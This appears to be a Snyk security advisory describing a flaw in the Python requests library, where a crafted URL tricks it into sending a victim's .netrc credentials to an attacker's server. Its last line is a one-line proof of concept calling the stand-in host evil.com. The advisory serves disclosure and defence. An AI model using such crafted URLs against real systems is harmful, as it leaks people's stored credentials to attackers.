Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsA fix was pushed into the master
branch but not yet published.
Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data due to incorrect URL processing. An attacker could craft a malicious URL that, when processed by the library, tricks it into sending the victim's .netrc
credentials to a server controlled by the attacker.
Note:
This is only exploitable if the .netrc
file contains an entry for the hostname that the attacker includes in the crafted URL's "intended" part (e.g., example.com
in http://example.com:@evil.com/
).
requests.get('http://example.com:@evil.com/')